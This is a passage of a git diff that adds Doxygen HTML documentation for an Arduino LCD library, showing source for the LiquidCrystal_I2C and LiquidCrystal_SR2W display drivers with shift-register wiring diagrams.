+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_I2C.c
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using an I2C IO extension board.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+00021 // backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC.
+00022 //
+00023 // The functionality provided by this class and its base class is identical
+00024 // to the original functionality of the Arduino LiquidCrystal library.
+00025 //
+00026 //
+00027 //
+00028 // @author F. Malpartida - fmalpartida@gmail.com
+00029 // ---------------------------------------------------------------------------
+00030 #if (ARDUINO <  100)
+00031 #include <WProgram.h>
+00032 #else
+00033 #include <Arduino.h>
+00034 #endif
+00035 #include <inttypes.h>
+00036 #include "I2CIO.h"
+00037 #include "LiquidCrystal_I2C.h"
+00038 
+00039 // CONSTANT  definitions
+00040 // ---------------------------------------------------------------------------
+00041 
+00042 // flags for backlight control
+00048 #define LCD_NOBACKLIGHT 0x00
+00049 
+00055 #define LCD_BACKLIGHT   0xFF
+00056 
+00057 
+00058 // Default library configuration parameters used by class constructor with
+00059 // only the I2C address field.
+00060 // ---------------------------------------------------------------------------
+00066 #define EN 6  // Enable bit
+00067 
+00073 #define RW 5  // Read/Write bit
+00074 
+00080 #define RS 4  // Register select bit
+00081 
+00088 #define D4 0
+00089 #define D5 1
+00090 #define D6 2
+00091 #define D7 3
+00092 
+00093 
+00094 // CONSTRUCTORS
+00095 // ---------------------------------------------------------------------------
+00096 LiquidCrystal_I2C::LiquidCrystal_I2C( uint8_t lcd_Addr )
+00097 {
+00098    config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7);
+00099 }
+00100 
+00101 
+00102 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t backlighPin, 
+00103                                      t_backlighPol pol = POSITIVE)
+00104 {
+00105    config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7);
+00106    setBacklightPin(backlighPin, pol);
+00107 }
+00108 
+00109 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00110                                      uint8_t Rs)
+00111 {
+00112    config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7);
+00113 }
+00114 
+00115 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00116                                      uint8_t Rs, uint8_t backlighPin, 
+00117                                      t_backlighPol pol = POSITIVE)
+00118 {
+00119    config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7);
+00120    setBacklightPin(backlighPin, pol);
+00121 }
+00122 
+00123 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00124                                      uint8_t Rs, uint8_t d4, uint8_t d5,
+00125                                      uint8_t d6, uint8_t d7 )
+00126 {
+00127    config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7);
+00128 }
+00129 
+00130 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00131                                      uint8_t Rs, uint8_t d4, uint8_t d5,
+00132                                      uint8_t d6, uint8_t d7, uint8_t backlighPin, 
+00133                                      t_backlighPol pol = POSITIVE )
+00134 {
+00135    config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7);
+00136    setBacklightPin(backlighPin, pol);
+00137 }
+00138 
+00139 // PUBLIC METHODS
+00140 // ---------------------------------------------------------------------------
+00141 
+00142 //
+00143 // begin
+00144 void LiquidCrystal_I2C::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) 
+00145 {
+00146    
+00147    init();     // Initialise the I2C expander interface
+00148    LCD::begin ( cols, lines, dotsize );   
+00149 }
+00150 
+00151 
+00152 // User commands - users can expand this section
+00153 //----------------------------------------------------------------------------
+00154 // Turn the (optional) backlight off/on
+00155 
+00156 //
+00157 // setBacklightPin
+00158 void LiquidCrystal_I2C::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE )
+00159 {
+00160    _backlightPinMask = ( 1 << value );
+00161    _polarity = pol;
+00162    setBacklight(BACKLIGHT_OFF);
+00163 }
+00164 
+00165 //
+00166 // setBacklight
+00167 void LiquidCrystal_I2C::setBacklight( uint8_t value ) 
+00168 {
+00169    // Check if backlight is available
+00170    // ----------------------------------------------------
+00171    if ( _backlightPinMask != 0x0 )
+00172    {
+00173       // Check for polarity to configure mask accordingly
+00174       // ----------------------------------------------------------
+00175       if  (((_polarity == POSITIVE) && (value > 0)) || 
+00176            ((_polarity == NEGATIVE ) && ( value == 0 )))
+00177       {
+00178          _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT;
+00179       }
+00180       else 
+00181       {
+00182          _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT;
+00183       }
+00184       _i2cio.write( _backlightStsMask );
+00185    }
+00186 }
+00187 
+00188 
+00189 // PRIVATE METHODS
+00190 // ---------------------------------------------------------------------------
+00191 
+00192 //
+00193 // init
+00194 int LiquidCrystal_I2C::init()
+00195 {
+00196    int status = 0;
+00197    
+00198    // initialize the backpack IO expander
+00199    // and display functions.
+00200    // ------------------------------------------------------------------------
+00201    if ( _i2cio.begin ( _Addr ) == 1 )
+00202    {
+00203       _i2cio.portMode ( OUTPUT );  // Set the entire IO extender to OUTPUT
+00204       _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00205       status = 1;
+00206       _i2cio.write(0);  // Set the entire port to LOW
+00207    }
+00208    return ( status );
+00209 }
+00210 
+00211 //
+00212 // config
+00213 void LiquidCrystal_I2C::config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, 
+00214                                 uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 )
+00215 {
+00216    _Addr = lcd_Addr;
+00217    
+00218    _backlightPinMask = 0;
+00219    _backlightStsMask = LCD_NOBACKLIGHT;
+00220    _polarity = POSITIVE;
+00221    
+00222    _En = ( 1 << En );
+00223    _Rw = ( 1 << Rw );
+00224    _Rs = ( 1 << Rs );
+00225    
+00226    // Initialise pin mapping
+00227    _data_pins[0] = ( 1 << d4 );
+00228    _data_pins[1] = ( 1 << d5 );
+00229    _data_pins[2] = ( 1 << d6 );
+00230    _data_pins[3] = ( 1 << d7 );   
+00231 }
+00232 
+00233 
+00234 
+00235 // low level data pushing commands
+00236 //----------------------------------------------------------------------------
+00237 
+00238 //
+00239 // send - write either command or data
+00240 void LiquidCrystal_I2C::send(uint8_t value, uint8_t mode) 
+00241 {
+00242    // No need to use the delay routines since the time taken to write takes
+00243    // longer that what is needed both for toggling and enable pin an to execute
+00244    // the command.
+00245    
+00246    if ( mode == FOUR_BITS )
+00247    {
+00248       write4bits( (value & 0x0F), COMMAND );
+00249    }
+00250    else 
+00251    {
+00252       write4bits( (value >> 4), mode );
+00253       write4bits( (value & 0x0F), mode);
+00254    }
+00255 }
+00256 
+00257 //
+00258 // write4bits
+00259 void LiquidCrystal_I2C::write4bits ( uint8_t value, uint8_t mode ) 
+00260 {
+00261    uint8_t pinMapValue = 0;
+00262    
+00263    // Map the value to LCD pin mapping
+00264    // --------------------------------
+00265    for ( uint8_t i = 0; i < 4; i++ )
+00266    {
+00267       if ( ( value & 0x1 ) == 1 )
+00268       {
+00269          pinMapValue |= _data_pins[i];
+00270       }
+00271       value = ( value >> 1 );
+00272    }
+00273    
+00274    // Is it a command or data
+00275    // -----------------------
+00276    if ( mode == DATA )
+00277    {
+00278       mode = _Rs;
+00279    }
+00280    
+00281    pinMapValue |= mode | _backlightStsMask;
+00282    pulseEnable ( pinMapValue );
+00283 }
+00284 
+00285 //
+00286 // pulseEnable
+00287 void LiquidCrystal_I2C::pulseEnable (uint8_t data)
+00288 {
+00289    _i2cio.write (data | _En);   // En HIGH
+00290    _i2cio.write (data & ~_En);  // En LOW
+00291 }
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h.html new file mode 100644 index 0000000..1f2fd5f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h.html @@ -0,0 +1,97 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h File Reference
+
+
+
#include <inttypes.h>
+#include <Print.h>
+#include "I2CIO.h"
+#include "LCD.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_I2C
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h_source.html new file mode 100644 index 0000000..2b32412 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h_source.html @@ -0,0 +1,172 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_I2C.h
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using an I2C IO extension board.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+00021 // backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC.
+00022 //
+00023 // The functionality provided by this class and its base class is identical
+00024 // to the original functionality of the Arduino LiquidCrystal library.
+00025 //
+00026 //
+00027 // @author F. Malpartida - fmalpartida@gmail.com
+00028 // ---------------------------------------------------------------------------
+00029 #ifndef LiquidCrystal_I2C_h
+00030 #define LiquidCrystal_I2C_h
+00031 #include <inttypes.h>
+00032 #include <Print.h>
+00033 
+00034 #include "I2CIO.h"
+00035 #include "LCD.h"
+00036 
+00037 
+00038 class LiquidCrystal_I2C : public LCD 
+00039 {
+00040 public:
+00041    
+00051    LiquidCrystal_I2C (uint8_t lcd_Addr);
+00052    // Constructor with backlight control
+00053    LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol);
+00054    
+00067    LiquidCrystal_I2C( uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs);
+00068    // Constructor with backlight control
+00069    LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+00070                      uint8_t backlighPin, t_backlighPol pol);   
+00071    
+00088    LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, 
+00089                      uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+00090    // Constructor with backlight control
+00091    LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, 
+00092                      uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00093                      uint8_t backlighPin, t_backlighPol pol);
+00110    virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS);   
+00111    
+00124    virtual void send(uint8_t value, uint8_t mode);
+00125    
+00134    void setBacklightPin ( uint8_t value, t_backlighPol pol );
+00135    
+00145    void setBacklight ( uint8_t value );
+00146    
+00147 private:
+00148    
+00154    int  init();
+00155    
+00171    void config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, 
+00172                 uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+00173    
+00182    void write4bits(uint8_t value, uint8_t mode);
+00183    
+00190    void pulseEnable(uint8_t);
+00191    
+00192    
+00193    uint8_t _Addr;             // I2C Address of the IO expander
+00194    uint8_t _backlightPinMask; // Backlight IO pin mask
+00195    uint8_t _backlightStsMask; // Backlight status mask
+00196    I2CIO   _i2cio;            // I2CIO PCF8574* expansion module driver I2CLCDextraIO
+00197    uint8_t _En;               // LCD expander word for enable pin
+00198    uint8_t _Rw;               // LCD expander word for R/W pin
+00199    uint8_t _Rs;               // LCD expander word for Register Select pin
+00200    uint8_t _data_pins[4];     // LCD data lines
+00201    
+00202 };
+00203 
+00204 #endif
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8cpp.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8cpp.html new file mode 100644 index 0000000..a89c8e7 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8cpp.html @@ -0,0 +1,89 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.cpp File Reference
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8cpp_source.html new file mode 100644 index 0000000..3af3164 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8cpp_source.html @@ -0,0 +1,219 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created/Adapted by Bill Perry 2012-03-16
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR2W.cpp
+00013 // Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit 
+00014 // ShiftRegister (SR2W from now on).
+00015 // 
+00016 // @brief 
+00017 // This is a port of the ShiftRegLCD library from raron and ported to the
+00018 // LCD library.
+00019 //
+00020 //
+00021 // See the corresponding SR2W header file for full details.
+00022 //
+00023 // History
+00024 // 2012.03.29  bperrybap - Fixed incorrect use of 5x10 for default font 
+00025 //                         (now matches original LQ library)
+00026 //                         Fixed typo in SR2W mask define names
+00027 //                         changed default backlight state to on
+00028 // 2012.03.16  bperrybap - created/modified from SR sources to create SR2W
+00029 // @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com
+00030 // ---------------------------------------------------------------------------
+00031 
+00032 #include "LiquidCrystal_SR2W.h"
+00033 
+00034 // CONSTRUCTORS
+00035 // ---------------------------------------------------------------------------
+00036 // Assuming 1 line 8 pixel high font
+00037 LiquidCrystal_SR2W::LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol)
+00038 {
+00039         init ( srdata, srclock, blpol, 1, 0 );
+00040 }
+00041 
+00042 
+00043 // PRIVATE METHODS
+00044 // ---------------------------------------------------------------------------
+00045 
+00046 //
+00047 // init
+00048 void LiquidCrystal_SR2W::init(uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font)
+00049 {
+00050         _srDataRegister = fio_pinToOutputRegister(srdata);
+00051         _srDataMask = fio_pinToBit(srdata);
+00052         _srClockRegister = fio_pinToOutputRegister(srclock);
+00053         _srClockMask = fio_pinToBit(srclock);
+00054    
+00055         _blPolarity = blpol;
+00056    
+00057         _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00058    
+00059         backlight(); // set default backlight state to on
+00060 }
+00061 
+00062 //
+00063 // loadSR
+00064 void LiquidCrystal_SR2W::loadSR(uint8_t val)
+00065 {
+00066         // Clear to keep Enable LOW while clocking in new bits
+00067         fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask);
+00068    
+00069    
+00070         // clock out SR data byte
+00071         fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask, val, MSBFIRST);
+00072    
+00073         
+00074         // strobe LCD enable which can now be toggled by the data line
+00075         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00076         {
+00077                 fio_digitalWrite_HIGH(_srDataRegister, _srDataMask);
+00078                 waitUsec (1);         // enable pulse must be >450ns               
+00079                 fio_digitalWrite_SWITCHTO(_srDataRegister, _srDataMask, LOW);
+00080         } // end critical section
+00081 }
+00082 
+00083 // PUBLIC METHODS
+00084 // ---------------------------------------------------------------------------
+00085 
+00086 
+00087 /************ low level data pushing commands **********/
+00088 //
+00089 // send
+00090 void LiquidCrystal_SR2W::send(uint8_t value, uint8_t mode)
+00091 {
+00092         uint8_t myMode = ( mode == DATA ) ? SR2W_RS_MASK : 0; 
+00093    
+00094         myMode = myMode | SR2W_EN_MASK | _blMask;
+00095 
+00096         if ( mode != FOUR_BITS )
+00097         {
+00098                 loadSR(myMode | ((value >> 1) & SR2W_DATA_MASK)); // upper nibble
+00099         }
+00100 
+00101         loadSR(myMode | ((value << 3) & SR2W_DATA_MASK)); // lower nibble
+00102    
+00103         /*
+00104          * Don't call waitUsec()
+00105          * do our own delay optmization since this code is so fast it needs some added delay
+00106          * even on slower AVRs.
+00107          */
+00108 #if (F_CPU <= 16000000)
+00109         delayMicroseconds ( 10 );      // commands & data writes need > 37us to complete
+00110 #else
+00111         delayMicroseconds ( 37 );      // commands & data writes need > 37us to complete
+00112 #endif
+00113 }
+00114 
+00115 //
+00116 // setBacklight
+00117 void LiquidCrystal_SR2W::setBacklight ( uint8_t value ) 
+00118 { 
+00119         // Check for polarity to configure mask accordingly
+00120         // ----------------------------------------------------------
+00121         if  ( ((_blPolarity == POSITIVE) && (value > 0)) || 
+00122         ((_blPolarity == NEGATIVE ) && ( value == 0 )) )
+00123         {
+00124                 _blMask = SR2W_BL_MASK;
+00125         }
+00126         else 
+00127         {
+00128                 _blMask = 0;
+00129         }
+00130    
+00131         // send dummy data of blMask to set BL pin
+00132         // Note: loadSR() will strobe the data line trying to pulse EN
+00133         // but E will not strobe because the EN output bit is not set.
+00134         loadSR(_blMask); 
+00135 }
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h.html new file mode 100644 index 0000000..8cf84b8 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h.html @@ -0,0 +1,164 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + + +

+Classes

class  LiquidCrystal_SR2W

+Defines

#define SR2W_BL_MASK   0x02
#define SR2W_DATA_MASK   0x78
#define SR2W_EN_MASK   0x80
#define SR2W_RS_MASK   0x04
+

Define Documentation

+ +
+
+ + + + +
#define SR2W_BL_MASK   0x02
+
+
+ +

Definition at line 132 of file LiquidCrystal_SR2W.h.

+ +
+
+ +
+
+ + + + +
#define SR2W_DATA_MASK   0x78
+
+
+ +

Definition at line 134 of file LiquidCrystal_SR2W.h.

+ +
+
+ +
+
+ + + + +
#define SR2W_EN_MASK   0x80
+
+
+ +

Definition at line 135 of file LiquidCrystal_SR2W.h.

+ +
+
+ +
+
+ + + + +
#define SR2W_RS_MASK   0x04
+
+
+ +

Definition at line 133 of file LiquidCrystal_SR2W.h.

+ +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h_source.html new file mode 100644 index 0000000..eb5efcc --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h_source.html @@ -0,0 +1,245 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created/Adapted by Bill Perry 2012-03-16
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // @file LiquidCrystal_SR2W.h
+00010 // Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit 
+00011 // ShiftRegister (SR2W from now on).
+00012 // 
+00013 // @brief 
+00014 // This is the 2 wire shift register interface class for the LCD library
+00015 //
+00016 // The functionality provided by this class and its base class is a superset of
+00017 // the original functionality of the Arduino LiquidCrystal library and can
+00018 // be used as such.
+00019 // See the LCD class for a full description of the API functions available.
+00020 //
+00021 // It works with a 8-bit unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+00022 // shift register (IE a very simple SR), and an hd44780 LCD in 4-bit mode.
+00023 // Any such shift register should do (pref. 74LS family IC's for 2-wire).
+00024 // 74LS164 and 74HC595 have been exstensively tested.
+00025 //
+00026 //
+00027 // 2 Pins required from the Arduino:
+00028 // - Data/Enable
+00029 // - Clock
+00030 // The Data pin is also used to control the enable signal
+00031 // LCD RW-pin hardwired to LOW (only writing to LCD).
+00032 // Busy Flag (BF, data bit D7) is not read.
+00033 //
+00034 //  Original project homepage: http://code.google.com/p/arduinoshiftreglcd/
+00035 //
+00036 // Shift register bits
+00037 // Bit  #0   - (cannot be used on 74HC595)
+00038 // Bit  #1   - optional backlight control
+00039 // Bit  #2   - connects to RS (Register Select) on the LCD
+00040 // Bit  #3   - connects to LCD data inputs D4
+00041 // Bit  #4   - connects to LCD data inputs D5
+00042 // Bit  #5   - connects to LCD data inputs D6
+00043 // Bit  #6   - connects to LCD data inputs D7
+00044 // Bit  #7   - enables the LCD enable-puls (via the diode-resistor AND "gate")
+00045 // 
+00046 // Wiring for a 74LS164
+00047 // ---------------------
+00048 //                          1k/4.7k
+00049 //              +--------[ Resistor ]--------+---(LCD Enable)
+00050 //              |                            |
+00051 //              |          74LS164    (VCC)  |
+00052 //              |        +----u----+    |   _V_ diode
+00053 // (data pin)---+---+--1-|A     VCC|-14-+    |
+00054 //                  |    |         |         |
+00055 //                  +--2-|B      Q7|-13------+
+00056 //                     3-|Q0     Q6|-12--(LCD D7)
+00057 // (BL Circuit)--------4-|Q1     Q5|-11--(LCD D6)
+00058 // (LCD RS)------------5-|Q2     Q4|-10--(LCD D5)
+00059 // (LCD D4)------------6-|Q3    /MR|--9--(VCC)
+00060 //                   +-7-|GND    CP|--8--(clock pin)
+00061 //                   |   +---------+ 
+00062 //                   |      0.1uf
+00063 //                 (gnd)-----||----(vcc)
+00064 // 
+00065 // Wiring for a 74HC595
+00066 // --------------------
+00067 // NOTE: the 74HC595 is a latching shift register. In order to get it to operate
+00068 // in a "non latching" mode, RCLK and SCLK are tied together. The side effect of this
+00069 // is that the latched output is one clock behind behind the internal shift register bits.
+00070 // To compensate for this the wiring is offset by one bit position lower.
+00071 // For example, while the backlight is hooked to Q0 it is still using bit 1 of
+00072 // of the shift register because the outputs are 1 clock behind the real internal shift
+00073 // register.
+00074 // 
+00075 //                         74HC595    (VCC)
+00076 //                       +----u----+    |  +-----------------------(BL circuit)
+00077 // (LCD RS)------------1-|Q1    VCC|-16-+  |  +--------------------(data pin)
+00078 // (LCD D4)------------2-|Q2     Q0|-15----+  |      1k/4.7k
+00079 // (LCD D5)------------3-|Q3    SER|-14-------+---[ Resistor ]--+--(LCD Enable)
+00080 // (LCD D6)------------4-|Q4    /OE|-13--(gnd)                  |
+00081 // (LCD D7)------------5-|Q5   RCLK|-12-------+                 |
+00082 //                       |         |          |                 |
+00083 //              +------6-|Q6   SCLK|-11-------+--(clock pin)    |
+00084 //              |      7-|Q7    /MR|-10--(VCC)                  |
+00085 //              |    +-8-|GND   Q6'|--9                         |
+00086 //              |    |   +---------+                    diode  _V_
+00087 //              |    |      0.1uf                               |
+00088 //              |  (gnd)-----||----(vcc)                        |
+00089 //              +-----------------------------------------------+
+00090 // 
+00091 //
+00092 // Backlight Control circuit
+00093 // -------------------------
+00094 // Because the shift resiter is not latching the outputs, the backlight circuitry
+00095 // will "see" the output bits as they are shifted into the shift register which
+00096 // can cause the backlight to flicker rather than remain constantly on/off.
+00097 // The circuit below slows down the transitions to the transistor to remove
+00098 // the visible flicker. When the BL input is HIGH the LCD backlight will turn on.
+00099 //
+00100 //                (value depends on LCD, 100ohm is usually safe)
+00101 // (LCD BL anode)---[ resistor ]---(vcc)
+00102 //
+00103 // (LCD BL cathode)-------------------------------+
+00104 //                                                |
+00105 //                                                D
+00106 //                                                |
+00107 // (BL input)----[ 4.7k Resistor ]----+-------G-|-<  (2N7000 FET)
+00108 //                                    |           |
+00109 //                          (0.1uf)   =           S
+00110 //                                    |           |
+00111 //                                  (gnd)        (gnd)
+00112 // 
+00113 // 
+00114 // 
+00115 //
+00116 // History
+00117 // 2012.03.16  bperrybap - creation/adaption from SR header to create SR2W header.
+00118 //                         Fixed typo in SR2W mask define names
+00119 // @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com
+00120 // --------------------------------------------------------------------------------
+00121 #ifndef _LIQUIDCRYSTAL_SR2W_
+00122 #define _LIQUIDCRYSTAL_SR2W_
+00123 
+00124 #include <inttypes.h>
+00125 #include "LCD.h"
+00126 #include "FastIO.h"
+00127 
+00128 
+00129 // two-wire SR output bit constants
+00130 // ---------------------------------------------------------------------------
+00131 
+00132 #define SR2W_BL_MASK 0x02
+00133 #define SR2W_RS_MASK 0x04
+00134 #define SR2W_DATA_MASK 0x78     // data bits are hard coded to be SR bits 6,5,4,3
+00135 #define SR2W_EN_MASK 0x80       // cannot ever be changed
+00136 
+00137 class LiquidCrystal_SR2W : public LCD
+00138 {
+00139 public:
+00151    LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol = POSITIVE);
+00152    
+00165    virtual void send(uint8_t value, uint8_t mode);
+00166    
+00167    
+00177    void setBacklight ( uint8_t mode );
+00178    
+00179 private:
+00180    
+00186    void init ( uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font );
+00187    
+00192    void loadSR (uint8_t val);
+00193    
+00194    fio_register _srDataRegister; // Serial Data pin
+00195    fio_bit _srDataMask;
+00196    fio_register _srClockRegister; // Clock Pin
+00197    fio_bit _srClockMask;
+00198 
+00199    uint8_t _blPolarity;
+00200    uint8_t _blMask;
+00201 };
+00202 #endif
+
+
+ + + + +
+ +
